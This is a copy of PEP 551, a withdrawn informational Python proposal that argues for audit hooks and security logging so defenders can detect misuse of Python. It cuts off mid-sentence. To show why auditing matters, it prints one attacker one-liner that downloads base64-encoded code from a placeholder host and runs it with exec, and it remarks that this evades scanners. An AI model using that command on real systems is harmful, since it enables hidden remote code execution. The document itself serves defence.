PEP 551 – Security transparency in the Python runtime | peps.python.org
PEP 551 – Security transparency in the Python runtime PEP 551 – Security transparency in the Python runtime Author : Steve Dower <steve.dower at python.org> Status : Withdrawn Type : Informational Created : 23-Aug-2017 Python-Version : 3.7 Post-History : 24-Aug-2017, 28-Aug-2017 Table of Contents Relationship to PEP 578 Abstract Background Summary Recommendations Restricting the Entry Point General Recommendations Things not to do Further Reading References Acknowledgments Copyright Note This PEP has been withdrawn.
For information about integrated CPython into a secure environment, we recommend consulting your own security experts. Relationship to PEP 578 This PEP has been split into two since its original posting. See PEP 578 for the auditing APIs proposed for addition to the next version of Python. This is now an informational PEP, providing guidance to those planning to integrate Python into their secure or audited environments.
Abstract This PEP describes the concept of security transparency and how it applies to the Python runtime. Visibility into actions taken by the runtime is invaluable in integrating Python into an otherwise secure and/or monitored environment. The audit hooks described in PEP 578 are an essential component in detecting, identifying and analyzing misuse of Python. While the hooks themselves are neutral (in that not every reported event is inherently misuse), they provide essential context to those who are responsible for monitoring an overall system or network.
With enough transparency, attackers are no longer able to hide. Background Software vulnerabilities are generally seen as bugs that enable remote or elevated code execution. However, in our modern connected world, the more dangerous vulnerabilities are those that enable advanced persistent threats (APTs). APTs are achieved when an attacker is able to penetrate a network, establish their software on one or more machines, and over time extract data or intelligence.
Some APTs may make themselves known by maliciously damaging data (e.g., WannaCrypt ) or hardware (e.g., Stuxnet ). Most attempt to hide their existence and avoid detection. APTs often use a combination of traditional vulnerabilities, social engineering, phishing (or spear-phishing), thorough network analysis, and an understanding of misconfigured environments to establish themselves and do their work. The first infected machines may not be the final target and may not require special privileges.
For example, an APT that is established as a non-administrative user on a developer’s machine may have the ability to spread to production machines through normal deployment channels. It is common for APTs to persist on as many machines as possible, with sheer weight of presence making them difficult to remove completely. Whether an attacker is seeking to cause direct harm or hide their tracks, the biggest barrier to detection is a lack of insight.
System administrators with large networks rely on distributed logs to understand what their machines are doing, but logs are often filtered to show only error conditions. APTs that are attempting to avoid detection will rarely generate errors or abnormal events. Reviewing normal operation logs involves a significant amount of effort, though work is underway by a number of companies to enable automatic anomaly detection within operational logs.
The tools preferred by attackers are ones that are already installed on the target machines, since log messages from these tools are often expected and ignored in normal use. At this point, we are not going to spend further time discussing the existence of APTs or methods and mitigations that do not apply to this PEP. For further information about the field, we recommend reading or watching the resources listed under Further Reading .
Python is a particularly interesting tool for attackers due to its prevalence on server and developer machines, its ability to execute arbitrary code provided as data (as opposed to native binaries), and its complete lack of internal auditing. This allows attackers to download, decrypt, and execute malicious code with a single command: python - c "import urllib.request, base64; exec ( base64 . b64decode ( urllib . request . urlopen ( 'http://my-exploit/py.b64' ) ) . decode ()) " This command currently bypasses most anti-malware scanners that rely on recognizable code being read through a network connection or being written to disk (base64 is often sufficient to bypass these checks).
It also bypasses protections such as file access control lists or permissions (no file access occurs), approved application lists (assuming Python has been approved for other uses), and automated auditing or logging (assuming Python is allowed to access the internet or access another machine on the local network from which to obtain its payload). General consensus among the security community is that totally preventing attacks is infeasible and defenders should assume that they will often detect attacks only after they have succeeded.
This is known as the “assume breach” mindset. [1] In this scenario, protections such as sandboxing and input validation have already failed, and the important task is detection, tracking, and eventual removal of the malicious code. To this end, the primary feature required from Python is security transparency: the ability to see what operations the Python runtime is performing that may indicate anomalous or malicious use.
Preventing such use is valuable, but secondary to the need to know that it is occurring. To summarise the goals in order of increasing importance: preventing malicious use is valuable detecting malicious use is important detecting attempts to bypass detection is critical One example of a scripting engine that has addressed these challenges is PowerShell, which has recently been enhanced towards similar goals of transparency and prevention. [2] Generally, application and system configuration will determine which events within a scripting engine are worth logging.
However, given the value of many logs events are not recognized until after an attack is detected, it is important to capture as much as possible and filter views rather than filtering at the source (see the No Easy Breach video from Further Reading ). Events that are always of interest include attempts to bypass auditing, attempts to load and execute code that is not correctly signed or access-controlled, use of uncommon operating system functionality such as debugging or inter-process inspection tools, most network access and DNS resolution, and attempts to create and hide files or configuration settings on the local machine.
To summarize, defenders have a need to audit specific uses of Python in order to detect abnormal or malicious usage. With PEP 578 , the Python runtime gains the ability to provide this. The aim of this PEP is to assist system administrators with deploying a security transparent version of Python that can integrate with their existing auditing and protection systems. On Windows, some specific features that may be integrated through the hooks added by PEP 578 include: Script Block Logging [3] DeviceGuard [4] AMSI [5] Persistent Zone Identifiers [6] Event tracing (which includes event forwarding) [7] On Linux, some specific features that may be integrated are: gnupg [8] sd_journal [9] OpenBSM [10] syslog [11] auditd [12] SELinux labels [13] check execute bit on imported modules On macOS, some features that may be integrated are: OpenBSM [10] syslog [11] Overall, the ability to enable these platform-specific features on production machines is highly appealing to system administrators and will make Python a more trustworthy dependency for application developers.
True security transparency is not fully achievable by Python in isolation. The runtime can audit as many events as it likes, but unless the logs are reviewed and analyzed there is no value. Python may impose restrictions in the na
The rest of this page is on the live site.